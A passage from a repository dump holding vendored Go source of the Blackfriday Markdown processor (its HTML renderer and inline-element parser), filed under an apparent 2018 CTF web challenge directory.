*bytes.Buffer, link []byte, kind int) {\n\tif options.flags&HTML_SAFELINK != 0 && !isSafeLink(link) && kind != LINK_TYPE_EMAIL {\n\t\t// mark it but don't link it if it is not a safe link: no smartypants\n\t\tout.WriteString(\"<tt>\")\n\t\tattrEscape(out, link)\n\t\tout.WriteString(\"</tt>\")\n\t\treturn\n\t}\n\n\tout.WriteString(\"<a href=\\\"\")\n\tif kind == LINK_TYPE_EMAIL {\n\t\tout.WriteString(\"mailto:\")\n\t}\n\tattrEscape(out, link)\n\tout.WriteString(\"\\\">\")\n\n\t// Pretty print: if we get an email address as\n\t// an actual URI, e.g. `mailto:foo@bar.com`, we don't\n\t// want to print the `mailto:` prefix\n\tswitch {\n\tcase bytes.HasPrefix(link, []byte(\"mailto://\")):\n\t\tattrEscape(out, link[len(\"mailto://\"):])\n\tcase bytes.HasPrefix(link, []byte(\"mailto:\")):\n\t\tattrEscape(out, link[len(\"mailto:\"):])\n\tdefault:\n\t\tattrEscape(out, link)\n\t}\n\n\tout.WriteString(\"</a>\")\n}\n\nfunc (options *Html) CodeSpan(out *bytes.Buffer, text []byte) {\n\tout.WriteString(\"<code>\")\n\tattrEscape(out, text)\n\tout.WriteString(\"</code>\")\n}\n\nfunc (options *Html) DoubleEmphasis(out *bytes.Buffer, text []byte) {\n\tout.WriteString(\"<strong>\")\n\tout.Write(text)\n\tout.WriteString(\"</strong>\")\n}\n\nfunc (options *Html) Emphasis(out *bytes.Buffer, text []byte) {\n\tif len(text) == 0 {\n\t\treturn\n\t}\n\tout.WriteString(\"<em>\")\n\tout.Write(text)\n\tout.WriteString(\"</em>\")\n}\n\nfunc (options *Html) Image(out *bytes.Buffer, link []byte, title []byte, alt []byte) {\n\tif options.flags&HTML_SKIP_IMAGES != 0 {\n\t\treturn\n\t}\n\n\tout.WriteString(\"<img src=\\\"\")\n\tattrEscape(out, link)\n\tout.WriteString(\"\\\" alt=\\\"\")\n\tif len(alt) > 0 {\n\t\tattrEscape(out, alt)\n\t}\n\tif len(title) > 0 {\n\t\tout.WriteString(\"\\\" title=\\\"\")\n\t\tattrEscape(out, title)\n\t}\n\n\tout.WriteByte('\"')\n\tout.WriteString(options.closeTag)\n\treturn\n}\n\nfunc (options *Html) LineBreak(out *bytes.Buffer) {\n\tout.WriteString(\"<br\")\n\tout.WriteString(options.closeTag)\n}\n\nfunc (options *Html) Link(out *bytes.Buffer, link []byte, title []byte, content []byte) {\n\tif options.flags&HTML_SKIP_LINKS != 0 {\n\t\t// write the link text out but don't link it, just mark it with typewriter font\n\t\tout.WriteString(\"<tt>\")\n\t\tattrEscape(out, content)\n\t\tout.WriteString(\"</tt>\")\n\t\treturn\n\t}\n\n\tif options.flags&HTML_SAFELINK != 0 && !isSafeLink(link) {\n\t\t// write the link text out but don't link it, just mark it with typewriter font\n\t\tout.WriteString(\"<tt>\")\n\t\tattrEscape(out, content)\n\t\tout.WriteString(\"</tt>\")\n\t\treturn\n\t}\n\n\tout.WriteString(\"<a href=\\\"\")\n\tattrEscape(out, link)\n\tif len(title) > 0 {\n\t\tout.WriteString(\"\\\" title=\\\"\")\n\t\tattrEscape(out, title)\n\t}\n\tout.WriteString(\"\\\">\")\n\tout.Write(content)\n\tout.WriteString(\"</a>\")\n\treturn\n}\n\nfunc (options *Html) RawHtmlTag(out *bytes.Buffer, text []byte) {\n\tif options.flags&HTML_SKIP_HTML != 0 {\n\t\treturn\n\t}\n\tif options.flags&HTML_SKIP_STYLE != 0 && isHtmlTag(text, \"style\") {\n\t\treturn\n\t}\n\tif options.flags&HTML_SKIP_LINKS != 0 && isHtmlTag(text, \"a\") {\n\t\treturn\n\t}\n\tif options.flags&HTML_SKIP_IMAGES != 0 && isHtmlTag(text, \"img\") {\n\t\treturn\n\t}\n\tif options.flags&HTML_SKIP_SCRIPT != 0 && isHtmlTag(text, \"script\") {\n\t\treturn\n\t}\n\tout.Write(text)\n}\n\nfunc (options *Html) TripleEmphasis(out *bytes.Buffer, text []byte) {\n\tout.WriteString(\"<strong><em>\")\n\tout.Write(text)\n\tout.WriteString(\"</em></strong>\")\n}\n\nfunc (options *Html) StrikeThrough(out *bytes.Buffer, text []byte) {\n\tout.WriteString(\"<del>\")\n\tout.Write(text)\n\tout.WriteString(\"</del>\")\n}\n\nfunc (options *Html) FootnoteRef(out *bytes.Buffer, ref []byte, id int) {\n\tslug := slugify(ref)\n\tout.WriteString(`<sup class=\"footnote-ref\" id=\"fnref:`)\n\tout.Write(slug)\n\tout.WriteString(`\"><a rel=\"footnote\" href=\"#fn:`)\n\tout.Write(slug)\n\tout.WriteString(`\">`)\n\tout.WriteString(strconv.Itoa(id))\n\tout.WriteString(`</a></sup>`)\n}\n\nfunc (options *Html) Entity(out *bytes.Buffer, entity []byte) {\n\tout.Write(entity)\n}\n\nfunc (options *Html) NormalText(out *bytes.Buffer, text []byte) {\n\tif options.flags&HTML_USE_SMARTYPANTS != 0 {\n\t\toptions.Smartypants(out, text)\n\t} else {\n\t\tattrEscape(out, text)\n\t}\n}\n\nfunc (options *Html) Smartypants(out *bytes.Buffer, text []byte) {\n\tsmrt := smartypantsData{false, false}\n\n\t// first do normal entity escaping\n\tvar escaped bytes.Buffer\n\tattrEscape(&escaped, text)\n\ttext = escaped.Bytes()\n\n\tmark := 0\n\tfor i := 0; i < len(text); i++ {\n\t\tif action := options.smartypants[text[i]]; action != nil {\n\t\t\tif i > mark {\n\t\t\t\tout.Write(text[mark:i])\n\t\t\t}\n\n\t\t\tpreviousChar := byte(0)\n\t\t\tif i > 0 {\n\t\t\t\tpreviousChar = text[i-1]\n\t\t\t}\n\t\t\ti += action(out, &smrt, previousChar, text[i:])\n\t\t\tmark = i + 1\n\t\t}\n\t}\n\n\tif mark < len(text) {\n\t\tout.Write(text[mark:])\n\t}\n}\n\nfunc (options *Html) DocumentHeader(out *bytes.Buffer) {\n\tif options.flags&HTML_COMPLETE_PAGE == 0 {\n\t\treturn\n\t}\n\n\tending := \"\"\n\tif options.flags&HTML_USE_XHTML != 0 {\n\t\tout.WriteString(\"<!DOCTYPE html PUBLIC \\\"-//W3C//DTD XHTML 1.0 Transitional//EN\\\" \")\n\t\tout.WriteString(\"\\\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\\\">\\n\")\n\t\tout.WriteString(\"<html xmlns=\\\"http://www.w3.org/1999/xhtml\\\">\\n\")\n\t\tending = \" /\"\n\t} else {\n\t\tout.WriteString(\"<!DOCTYPE html>\\n\")\n\t\tout.WriteString(\"<html>\\n\")\n\t}\n\tout.WriteString(\"<head>\\n\")\n\tout.WriteString(\"  <title>\")\n\toptions.NormalText(out, []byte(options.title))\n\tout.WriteString(\"</title>\\n\")\n\tout.WriteString(\"  <meta name=\\\"GENERATOR\\\" content=\\\"Blackfriday Markdown Processor v\")\n\tout.WriteString(VERSION)\n\tout.WriteString(\"\\\"\")\n\tout.WriteString(ending)\n\tout.WriteString(\">\\n\")\n\tout.WriteString(\"  <meta charset=\\\"utf-8\\\"\")\n\tout.WriteString(ending)\n\tout.WriteString(\">\\n\")\n\tif options.css != \"\" {\n\t\tout.WriteString(\"  <link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"\")\n\t\tattrEscape(out, []byte(options.css))\n\t\tout.WriteString(\"\\\"\")\n\t\tout.WriteString(ending)\n\t\tout.WriteString(\">\\n\")\n\t}\n\tout.WriteString(\"</head>\\n\")\n\tout.WriteString(\"<body>\\n\")\n\n\toptions.tocMarker = out.Len()\n}\n\nfunc (options *Html) DocumentFooter(out *bytes.Buffer) {\n\t// finalize and insert the table of contents\n\tif options.flags&HTML_TOC != 0 {\n\t\toptions.TocFinalize()\n\n\t\t// now we have to insert the table of contents into the document\n\t\tvar temp bytes.Buffer\n\n\t\t// start by making a copy of everything after the document header\n\t\ttemp.Write(out.Bytes()[options.tocMarker:])\n\n\t\t// now clear the copied material from the main output buffer\n\t\tout.Truncate(options.tocMarker)\n\n\t\t// corner case spacing issue\n\t\tif options.flags&HTML_COMPLETE_PAGE != 0 {\n\t\t\tout.WriteByte('\\n')\n\t\t}\n\n\t\t// insert the table of contents\n\t\tout.WriteString(\"<nav>\\n\")\n\t\tout.Write(options.toc.Bytes())\n\t\tout.WriteString(\"</nav>\\n\")\n\n\t\t// corner case spacing issue\n\t\tif options.flags&HTML_COMPLETE_PAGE == 0 && options.flags&HTML_OMIT_CONTENTS == 0 {\n\t\t\tout.WriteByte('\\n')\n\t\t}\n\n\t\t// write out everything that came after it\n\t\tif options.flags&HTML_OMIT_CONTENTS == 0 {\n\t\t\tout.Write(temp.Bytes())\n\t\t}\n\t}\n\n\tif options.flags&HTML_COMPLETE_PAGE != 0 {\n\t\tout.WriteString(\"\\n</body>\\n\")\n\t\tout.WriteString(\"</html>\\n\")\n\t}\n\n}\n\nfunc (options *Html) TocHeader(text []byte, level int) {\n\tfor level > options.currentLevel {\n\t\tswitch {\n\t\tcase bytes.HasSuffix(options.toc.Bytes(), []byte(\"</li>\\n\")):\n\t\t\t// this sublist can nest underneath a header\n\t\t\tsize := options.toc.Len()\n\t\t\toptions.toc.Truncate(size - len(\"</li>\\n\"))\n\n\t\tcase options.currentLevel > 0:\n\t\t\toptions.toc.WriteString(\"<li>\")\n\t\t}\n\t\tif options.toc.Len() > 0 {\n\t\t\toptions.toc.WriteByte('\\n')\n\t\t}\n\t\toptions.toc.WriteString(\"<ul>\\n\")\n\t\toptions.currentLevel++\n\t}\n\n\tfor level < options.currentLevel {\n\t\toptions.toc.WriteString(\"</ul>\")\n\t\tif options.currentLevel > 1 {\n\t\t\toptions.toc.WriteString(\"</li>\\n\")\n\t\t}\n\t\toptions.currentLevel--\n\t}\n\n\toptions.toc.WriteString(\"<li><a href=\\\"#toc_\")\n\toptions.toc.WriteString(strconv.Itoa(options.headerCount))\n\toptions.toc.WriteString(\"\\\">\")\n\toptions.headerCount++\n\n\toptions.toc.Write(text)\n\n\toptions.toc.WriteString(\"</a></li>\\n\")\n}\n\nfunc (options *Html) TocFinalize() {\n\tfor options.currentLevel > 1 {\n\t\toptions.toc.WriteString(\"</ul></li>\\n\")\n\t\toptions.currentLevel--\n\t}\n\n\tif options.currentLevel > 0 {\n\t\toptions.toc.WriteString(\"</ul>\\n\")\n\t}\n}\n\nfunc isHtmlTag(tag []byte, tagname string) bool {\n\tfound, _ := findHtmlTagPos(tag, tagname)\n\treturn found\n}\n\nfunc findHtmlTagPos(tag []byte, tagname string) (bool, int) {\n\ti := 0\n\tif i < len(tag) && tag[0] != '<' {\n\t\treturn false, -1\n\t}\n\ti++\n\ti = skipSpace(tag, i)\n\n\tif i < len(tag) && tag[i] == '/' {\n\t\ti++\n\t}\n\n\ti = skipSpace(tag, i)\n\tj := 0\n\tfor ; i < len(tag); i, j = i+1, j+1 {\n\t\tif j >= len(tagname) {\n\t\t\tbreak\n\t\t}\n\n\t\tif strings.ToLower(string(tag[i]))[0] != tagname[j] {\n\t\t\treturn false, -1\n\t\t}\n\t}\n\n\tif i == len(tag) {\n\t\treturn false, -1\n\t}\n\n\t// Now look for closing '>', but ignore it when it's in any kind of quotes,\n\t// it might be JavaScript\n\tinSingleQuote := false\n\tinDoubleQuote := false\n\tinGraveQuote := false\n\tfor i < len(tag) {\n\t\tswitch {\n\t\tcase tag[i] == '>' && !inSingleQuote && !inDoubleQuote && !inGraveQuote:\n\t\t\treturn true, i\n\t\tcase tag[i] == '\\'':\n\t\t\tinSingleQuote = !inSingleQuote\n\t\tcase tag[i] == '\"':\n\t\t\tinDoubleQuote = !inDoubleQuote\n\t\tcase tag[i] == '`':\n\t\t\tinGraveQuote = !inGraveQuote\n\t\t}\n\t\ti++\n\t}\n\n\treturn false, -1\n}\n\nfunc skipSpace(tag []byte, i int) int {\n\tfor i < len(tag) && isspace(tag[i]) {\n\t\ti++\n\t}\n\treturn i\n}\n\nfunc doubleSpace(out *bytes.Buffer) {\n\tif out.Len() > 0 {\n\t\tout.WriteByte('\\n')\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/inline.go",
    "content": "//\n// Blackfriday Markdown Processor\n// Available at http://github.com/russross/blackfriday\n//\n// Copyright © 2011 Russ Ross <russ@russross.com>.\n// Distributed under the Simplified BSD License.\n// See README.md for details.\n//\n\n//\n// Functions to parse inline elements.\n//\n\npackage blackfriday\n\nimport (\n\t\"bytes\"\n\t\"strconv\"\n)\n\n// Functions to parse text within a block\n// Each function returns the number of chars taken care of\n// data is the complete block being rendered\n// offset is the number of valid chars before the current cursor\n\nfunc (p *parser) inline(out *bytes.Buffer, data []byte) {\n\t// this is called recursively: enforce a maximum depth\n\tif p.nesting >= p.maxNesting {\n\t\treturn\n\t}\n\tp.nesting++\n\n\ti, end := 0, 0\n\tfor i < len(data) {\n\t\t// copy inactive chars into the output\n\t\tfor end < len(data) && p.inlineCallback[data[end]] == nil {\n\t\t\tend++\n\t\t}\n\n\t\tp.r.NormalText(out, data[i:end])\n\n\t\tif end >= len(data) {\n\t\t\tbreak\n\t\t}\n\t\ti = end\n\n\t\t// call the trigger\n\t\thandler := p.inlineCallback[data[end]]\n\t\tif consumed := handler(p, out, data, i); consumed == 0 {\n\t\t\t// no action from the callback; buffer the byte for later\n\t\t\tend = i + 1\n\t\t} else {\n\t\t\t// skip past whatever the callback used\n\t\t\ti += consumed\n\t\t\tend = i\n\t\t}\n\t}\n\n\tp.nesting--\n}\n\n// single and double emphasis parsing\nfunc emphasis(p *parser, out *bytes.Buffer, data []byte, offset int) int {\n\tdata = data[offset:]\n\tc := data[0]\n\tret := 0\n\n\tif len(data) > 2 && data[1] != c {\n\t\t// whitespace cannot follow an opening emphasis;\n\t\t// strikethrough only takes two characters '~~'\n\t\tif c == '~' || isspace(data[1]) {\n\t\t\treturn 0\n\t\t}\n\t\tif ret = helperEmphasis(p, out, data[1:], c); ret == 0 {\n\t\t\treturn 0\n\t\t}\n\n\t\treturn ret + 1\n\t}\n\n\tif len(data) > 3 && data[1] == c && data[2] != c {\n\t\tif isspace(data[2]) {\n\t\t\treturn 0\n\t\t}\n\t\tif ret = helperDoubleEmphasis(p, out, data[2:], c); ret == 0 {\n\t\t\treturn 0\n\t\t}\n\n\t\treturn ret + 2\n\t}\n\n\tif len(data) > 4 && data[1] == c && data[2] == c && data[3] != c {\n\t\tif c == '~' || isspace(data[3]) {\n\t\t\treturn 0\n\t\t}\n\t\tif ret = helperTripleEmphasis(p, out, data, 3, c); ret == 0 {\n\t\t\treturn 0\n\t\t}\n\n\t\treturn ret + 3\n\t}\n\n\treturn 0\n}\n\nfunc codeSpan(p *parser, out *bytes.Buffer, data []byte, offset int) int {\n\tdata = data[offset:]\n\n\tnb := 0\n\n\t// count the number of backticks in the delimiter\n\tfor nb < len(data) && data[nb] == '`' {\n\t\tnb++\n\t}\n\n\t// find the next delimiter\n\ti, end := 0, 0\n\tfor end = nb; end < len(data) && i < nb; end++ {\n\t\tif data[end] == '`' {\n\t\t\ti++\n\t\t} else {\n\t\t\ti = 0\n\t\t}\n\t}\n\n\t// no matching delimiter?\n\tif i < nb && end >= len(data) {\n\t\treturn 0\n\t}\n\n\t// trim outside whitespace\n\tfBegin := nb\n\tfor fBegin < end && data[fBegin] == ' ' {\n\t\tfBegin++\n\t}\n\n\tfEnd := end - nb\n\tfor fEnd > fBegin && data[fEnd-1] == ' ' {\n\t\tfEnd--\n\t}\n\n\t// render the code span\n\tif fBegin != fEnd {\n\t\tp.r.CodeSpan(out, data[fBegin:fEnd])\n\t}\n\n\treturn end\n\n}\n\n// newline preceded by two spaces becomes <br>\n// newline without two spaces works when EXTENSION_HARD_LINE_BREAK is enabled\nfunc lineBreak(p *parser, out *bytes.Buffer, data []byte, offset int) int {\n\t// remove trailing spaces from out\n\toutBytes := out.Bytes()\n\tend := len(outBytes)\n\teol := end\n\tfor eol > 0 && outBytes[eol-1] == ' ' {\n\t\teol--\n\t}\n\tout.Truncate(eol)\n\n\t// should there be a hard line break here?\n\tif p.flags&EXTENSION_HARD_LINE_BREAK == 0 && end-eol < 2 {\n\t\treturn 0\n\t}\n\n\tp.r.LineBreak(out)\n\treturn 1\n}\n\ntype linkType int\n\nconst (\n\tlinkNormal linkType = iota\n\tlinkImg\n\tlinkDeferredFootnote\n\tlinkInlineFootnote\n)\n\n// '[': parse a link or an image or a footnote\nfunc link(p *parser, out *bytes.Buffer, data []byte, offset int) int {\n\t// no links allowed inside regular links, footnote, and deferred footnotes\n\tif p.insideLink && (offset > 0 && data[offset-1] == '[' || len(data)-1 > offset && data[offset+1] == '^') {\n\t\treturn 0\n\t}\n\n\t// [text] == regular link\n\t// ![alt] == image\n\t// ^[text] == inline footnote\n\t// [^refId] == deferred footnote\n\tvar t linkType\n\tif offset > 0 && data[offset-1] == '!' {\n\t\tt = linkImg\n\t} else if p.flags&EXTENSION_FOOTNOTES != 0 {\n\t\tif offset > 0 && data[offset-1] == '^' {\n\t\t\tt = linkInlineFootnote\n\t\t} else if len(data)-1 > offset && data[offset+1] == '^' {\n\t\t\tt = linkDeferredFootnote\n\t\t}\n\t}\n\n\tdata = data[offset:]\n\n\tvar (\n\t\ti           = 1\n\t\tnoteId      int\n\t\ttitle, link []byte\n\t\ttextHasNl   = false\n\t)\n\n\tif t == linkDeferredFootnote {\n\t\ti++\n\t}\n\n\t// look for the matching closing bracket\n\tfor level := 1; level > 0 && i < len(data); i++ {\n\t\tswitch {\n\t\tcase data[i] == '\\n':\n\t\t\ttextHasNl = true\n\n\t\tcase data[i-1] == '\\\\':\n\t\t\tcontinue\n\n\t\tcase data[i] == '[':\n\t\t\tlevel++\n\n\t\tcase data[i] == ']':\n\t\t\tlevel--\n\t\t\tif level <= 0 {\n\t\t\t\ti-- // compensate for extra i++ in for loop\n\t\t\t}\n\t\t}\n\t}\n\n\tif i >= len(data) {\n\t\treturn 0\n\t}\n\n\ttxtE := i\n\ti++\n\n\t// skip any amount of whitespace or newline\n\t// (this is much more lax than original markdown syntax)\n\tfor i < len(data) && isspace(data[i]) {\n\t\ti++\n\t}\n\n\t// inline style link\n\tswitch {\n\tcase i < len(data) && data[i] == '(':\n\t\t// skip initial whitespace\n\t\ti++\n\n\t\tfor i < len(data) && isspace(data[i]) {\n\t\t\ti++\n\t\t}\n\n\t\tlinkB := i\n\n\t\t// look for link end: ' \" )\n\tfindlinkend:\n\t\tfor i < len(data) {\n\t\t\tswitch {\n\t\t\tcase data[i] == '\\\\':\n\t\t\t\ti += 2\n\n\t\t\tcase data[i] == ')' || data[i] == '\\'' || data[i] == '\"':\n\t\t\t\tbreak findlinkend\n\n\t\t\tdefault:\n\t\t\t\ti++\n\t\t\t}\n\t\t}\n\n\t\tif i >= len(data) {\n\t\t\treturn 0\n\t\t}\n\t\tlinkE := i\n\n\t\t// look for title end if present\n\t\ttitleB, titleE := 0, 0\n\t\tif data[i] == '\\'' || data[i] == '\"' {\n\t\t\ti++\n\t\t\ttitleB = i\n\n\t\tfindtitleend:\n\t\t\tfor i < len(data) {\n\t\t\t\tswitch {\n\t\t\t\tcase data[i] == '\\\\':\n\t\t\t\t\ti += 2\n\n\t\t\t\tcase data[i] == ')':\n\t\t\t\t\tbreak findtitleend\n\n\t\t\t\tdefault:\n\t\t\t\t\ti++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif i >= len(data) {\n\t\t\t\treturn 0\n\t\t\t}\n\n\t\t\t// skip whitespace after title\n\t\t\ttitleE = i - 1\n\t\t\tfor titleE > titleB && isspace(data[titleE]) {\n\t\t\t\ttitleE--\n\t\t\t}\n\n\t\t\t// check for closing quote presence\n\t\t\tif data[titleE] != '\\'' && data[titleE] != '\"' {\n\t\t\t\ttitleB, titleE = 0, 0\n\t\t\t\tlinkE = i\n\t\t\t}\n\t\t}\n\n\t\t// remove whitespace at the end of the link\n\t\tfor linkE > linkB && isspace(data[linkE-1]) {\n\t\t\tlinkE--\n\t\t}\n\n\t\t// remove optional angle brackets around the link\n\t\tif data[linkB] == '<' {\n\t\t\tlinkB++\n\t\t}\n\t\tif data[linkE-1] == '>' {\n\t\t\tlinkE--\n\t\t}\n\n\t\t// build escaped link and title\n\t\tif linkE > linkB {\n\t\t\tlink = data[linkB:linkE]\n\t\t}\n\n\t\tif titleE > titleB {\n\t\t\ttitle = data[titleB:titleE]\n\t\t}\n\n\t\ti++\n\n\t// reference style link\n\tcase i < len(data) && data[i] == '[':\n\t\tvar id []byte\n\n\t\t// look for the id\n\t\ti++\n\t\tlinkB := i\n\t\tfor i < len(data) && data[i] != ']' {\n\t\t\ti++\n\t\t}\n\t\tif i >= len(data) {\n\t\t\treturn 0\n\t\t}\n\t\tlinkE := i\n\n\t\t// find the reference\n\t\tif linkB == linkE {\n\t\t\tif textHasNl {\n\t\t\t\tvar b bytes.Buffer\n\n\t\t\t\tfor j := 1; j < txtE; j++ {\n\t\t\t\t\tswitch {\n\t\t\t\t\tcase data[j] != '\\n':\n\t\t\t\t\t\tb.WriteByte(data[j])\n\t\t\t\t\tcase data[j-1] != ' ':\n\t\t\t\t\t\tb.WriteByte(' ')\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tid = b.Bytes()\n\t\t\t} else {\n\t\t\t\tid = data[1:txtE]\n\t\t\t}\n\t\t} else {\n\t\t\tid = data[linkB:linkE]\n\t\t}\n\n\t\t// find the reference with matching id (ids are case-insensitive)\n\t\tkey := string(bytes.ToLower(id))\n\t\tlr, ok := p.refs[key]\n\t\tif !ok {\n\t\t\treturn 0\n\n\t\t}\n\n\t\t// keep link and title from reference\n\t\tlink = lr.link\n\t\ttitle = lr.title\n\t\ti++\n\n\t// shortcut reference style link or reference or inline footnote\n\tdefault:\n\t\tvar id []byte\n\n\t\t// craft the id\n\t\tif textHasNl {\n\t\t\tvar b bytes.Buffer\n\n\t\t\tfor j := 1; j < txtE; j++ {\n\t\t\t\tswitch {\n\t\t\t\tcase data[j] != '\\n':\n\t\t\t\t\tb.WriteByte(data[j])\n\t\t\t\tcase data[j-1] != ' ':\n\t\t\t\t\tb.WriteByte(' ')\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tid = b.Bytes()\n\t\t} else {\n\t\t\tif t == linkDeferredFootnote {\n\t\t\t\tid = data[2:txtE] // get rid of the ^\n\t\t\t} else {\n\t\t\t\tid = data[1:txtE]\n\t\t\t}\n\t\t}\n\n\t\tkey := string(bytes.ToLower(id))\n\t\tif t == linkInlineFootnote {\n\t\t\t// create a new reference\n\t\t\tnoteId = len(p.notes) + 1\n\n\t\t\tvar fragment []byte\n\t\t\tif len(id) > 0 {\n\t\t\t\tif len(id) < 16 {\n\t\t\t\t\tfragment = make([]byte, len(id))\n\t\t\t\t} else {\n\t\t\t\t\tfragment = make([]byte, 16)\n\t\t\t\t}\n\t\t\t\tcopy(fragment, slugify(id))\n\t\t\t} else {\n\t\t\t\tfragment = append([]byte(\"footnote-\"), []byte(strconv.Itoa(noteId))...)\n\t\t\t}\n\n\t\t\tref := &reference{\n\t\t\t\tnoteId:   noteId,\n\t\t\t\thasBlock: false,\n\t\t\t\tlink:     fragment,\n\t\t\t\ttitle:    id,\n\t\t\t}\n\n\t\t\tp.notes = append(p.notes, ref)\n\n\t\t\tlink = ref.link\n\t\t\ttitle = ref.title\n\t\t} else {\n\t\t\t// find the reference with matching id\n\t\t\tlr, ok := p.refs[key]\n\t\t\tif !ok {\n\t\t\t\treturn 0\n\t\t\t}\n\n\t\t\tif t == linkDeferredFootnote {\n\t\t\t\tlr.noteId = len(p.notes) + 1\n\t\t\t\tp.notes = append(p.notes, lr)\n\t\t\t}\n\n\t\t\t// keep link and title from reference\n\t\t\tlink = lr.link\n\t\t\t// if inline footnote, title == footnote contents\n\t\t\ttitle = lr.title\n\t\t\tnoteId = lr.noteId\n\t\t}\n\n\t\t// rewind the whitespace\n\t\ti = txtE + 1\n\t}\n\n\t// build content: img alt is escaped, link content is parsed\n\tvar content bytes.Buffer\n\tif txtE > 1 {\n\t\tif t == linkImg {\n\t\t\tcontent.Write(data[1:txtE])\n\t\t} else {\n\t\t\t// links cannot contain other links, so turn off link parsing temporarily\n\t\t\tinsideLink := p.insideLink\n\t\t\tp.insideLink = true\n\t\t\tp.inline(&content, data[1:txtE])\n\t\t\tp.insideLink = insideLink\n\t\t}\n\t}\n\n\tvar uLink []byte\n\tif t == linkNormal || t == linkImg {\n\t\tif len(link) > 0 {\n\t\t\tvar uLinkBuf bytes.Buffer\n\t\t\tunescapeText(&uLinkBuf, link)\n\t\t\tuLink = uLinkBuf.Bytes()\n\t\t}\n\n\t\t// links need something to click on and somewhere to go\n\t\tif len(uLink) == 0 || (t == linkNormal && content.Len() == 0) {\n\t\t\treturn 0\n\t\t}\n\t}\n\n\t// call the relevant rendering function\n\tswitch t {\n\tcase linkNormal:\n\t\tp.r.Link(out, uLink, title, content.Bytes())\n\n\tcase linkImg:\n\t\toutSize := out.Len()\n\t\toutBytes := out.Bytes()\n\t\tif outSize > 0 && outBytes[outSize-1] == '!' {\n\t\t\tout.Truncate(outSize - 1)\n\t\t}\n\n\t\tp.r.Image(out, uLink, title, content.Bytes())\n\n\tcase linkInlineFootnote:\n\t\toutSize := out.Len()\n\t\toutBytes := out.Bytes()\n\t\tif outSize > 0 && outBytes[outSize-1] == '^' {\n\t\t\tout.Truncate(outSize - 1)\n\t\t}\n\n\t\tp.r.FootnoteRef(out, link, noteId)\n\n\tcase linkDeferredFootnote:\n\t\tp.r.FootnoteRef(out, link, noteId)\n\n\tdefault:\n\t\treturn 0\n\t}\n\n\treturn i\n}\n\n// '<' when tags or autolinks are allowed\nfunc leftAngle(p *parser, out *bytes.Buffer, data []byte, offset int) int {\n\tdata = data[offset:]\n\taltype := LINK_TYPE_NOT_AUTOLINK\n\tend := tagLength(data, &altype)\n\n\tif end > 2 {\n\t\tif altype != LINK_TYPE_NOT_AUTOLINK {\n\t\t\tvar uLink bytes.Buffer\n\t\t\tunescapeText(&uLink, data[1:end+1-2])\n\t\t\tif uLink.Len() > 0 {\n\t\t\t\tp.r.AutoLink(out, uLink.Bytes(), altype)\n\t\t\t}\n\t\t} else {\n\t\t\tp.r.RawHtmlTag(out, data[:end])\n\t\t}\n\t}\n\n\treturn end\n}\n\n// '\\\\' backslash escape\nvar escapeChars = []byte(\"\\\\`*_{}[]()#+-.!:|&<>\")\n\nfunc escape(p *parser, out *bytes.Buffer, data []byte, offset int) int {\n\tdata = data[offset:]\n\n\tif len(data) > 1 {\n\t\tif bytes.IndexByte(escapeChars, data[1]) < 0 {\n\t\t\treturn 0\n\t\t}\n\n\t\tp.r.NormalText(out, data[1:2])\n\t}\n\n\treturn 2\n}\n\nfunc unescapeText(ob *bytes.Buffer, src []byte) {\n\ti := 0\n\tfor i < len(src) {\n\t\torg := i\n\t\tfor i < len(src) && src[i] != '\\\\' {\n\t\t\ti++\n\t\t}\n\n\t\tif i > org {\n\t\t\tob.Write(src[org:i])\n\t\t}\n\n\t\tif i+1 >= len(src) {\n\t\t\tbreak\n\t\t}\n\n\t\tob.WriteByte(src[i+1])\n\t\ti += 2\n\t}\n}\n\n// '&' escaped when it doesn't belong to an entity\n// valid entities are assumed to be anything matching &#?[A-Za-z0-9]+;\nfunc entity(p *parser, out *bytes.Buffer, data []byte, offset int) int {\n\tdata = data[offset:]\n\n\tend := 1\n\n\tif end < len(data) && data[end] == '#' {\n\t\tend++\n\t}\n\n\tfor end < len(data) && isalnum(data[end]) {\n\t\tend++\n\t}\n\n\tif end < len(data) && data[end] == ';' {\n\t\tend++ // real entity\n\t} else {\n\t\treturn 0 // lone '&'\n\t}\n\n\tp.r.Entity(out, data[:end])\n\n\treturn end\n}\n\nfunc autoLink(p *parser, out *bytes.Buffer, data []byte, offset int) int {\n\t// quick check to rule out most false hits on ':'\n\tif p.insideLink || len(data) < offset+3 || data[offset+1] != '/' || data[offset+2] != '/' {\n\t\treturn 0\n\t}\n\n\t// scan backward for a word boundary\n\trewind := 0\n\tfor offset-rewind > 0 && rewind <= 7 && isletter(data[offset-rewind-1]) {\n\t\trewind++\n\t}\n\tif rewind > 6 { // longest supported protocol is \"mailto\" which has 6 letters\n\t\treturn 0\n\t}\n\n\torigData := data\n\tdata = data[offset-rewind:]\n\n\tif !isSafeLink(data) {\n\t\treturn 0\n\t}\n\n\tlinkEnd := 0\n\tfor linkEnd < len(data) && !isspace(data[linkEnd]) {\n\t\tlinkEnd++\n\t}\n\n\t// Skip punctuation at the end of the link\n\tif (data[linkEnd-1] == '.' || data[linkEnd-1] == ',' || data[linkEnd-1] == ';') && data[linkEnd-2] != '\\\\' {\n\t\tlinkEnd--\n\t}\n\n\t// See if the link finishes with a punctuation sign that can be closed.\n\tvar copen byte\n\tswitch data[linkEnd-1] {\n\tcase '\"':\n\t\tcopen = '\"'\n\tcase '\\'':\n\t\tcopen = '\\''\n\tcase ')':\n\t\tcopen = '('\n\tcase ']':\n\t\tcopen = '['\n\tcase '}':\n\t\tcopen = '{'\n\tdefault:\n\t\tcopen = 0\n\t}\n\n\tif copen != 0 {\n\t\tbufEnd := offset - rewind + linkEnd - 2\n\n\t\topenDelim := 1\n\n\t\t/* Try to close the final punctuation sign in this same line;\n\t\t * if we managed to close it outside of the URL, that means that it's\n\t\t * not part of the URL. If it closes inside the URL, that means it\n\t\t * is part of the URL.\n\t\t *\n\t\t * Examples:\n\t\t *\n\t\t *      foo http://www.pokemon.com/Pikachu_(Electric) bar\n\t\t *              => http://www.pokemon.com/Pikachu_(Electric)\n\t\t *\n\t\t *      foo (http://www.pokemon.com/Pikachu_(Electric)) bar\n\t\t *              => http://www.pokemon.com/Pikachu_(Electric)\n\t\t *\n\t\t *      foo 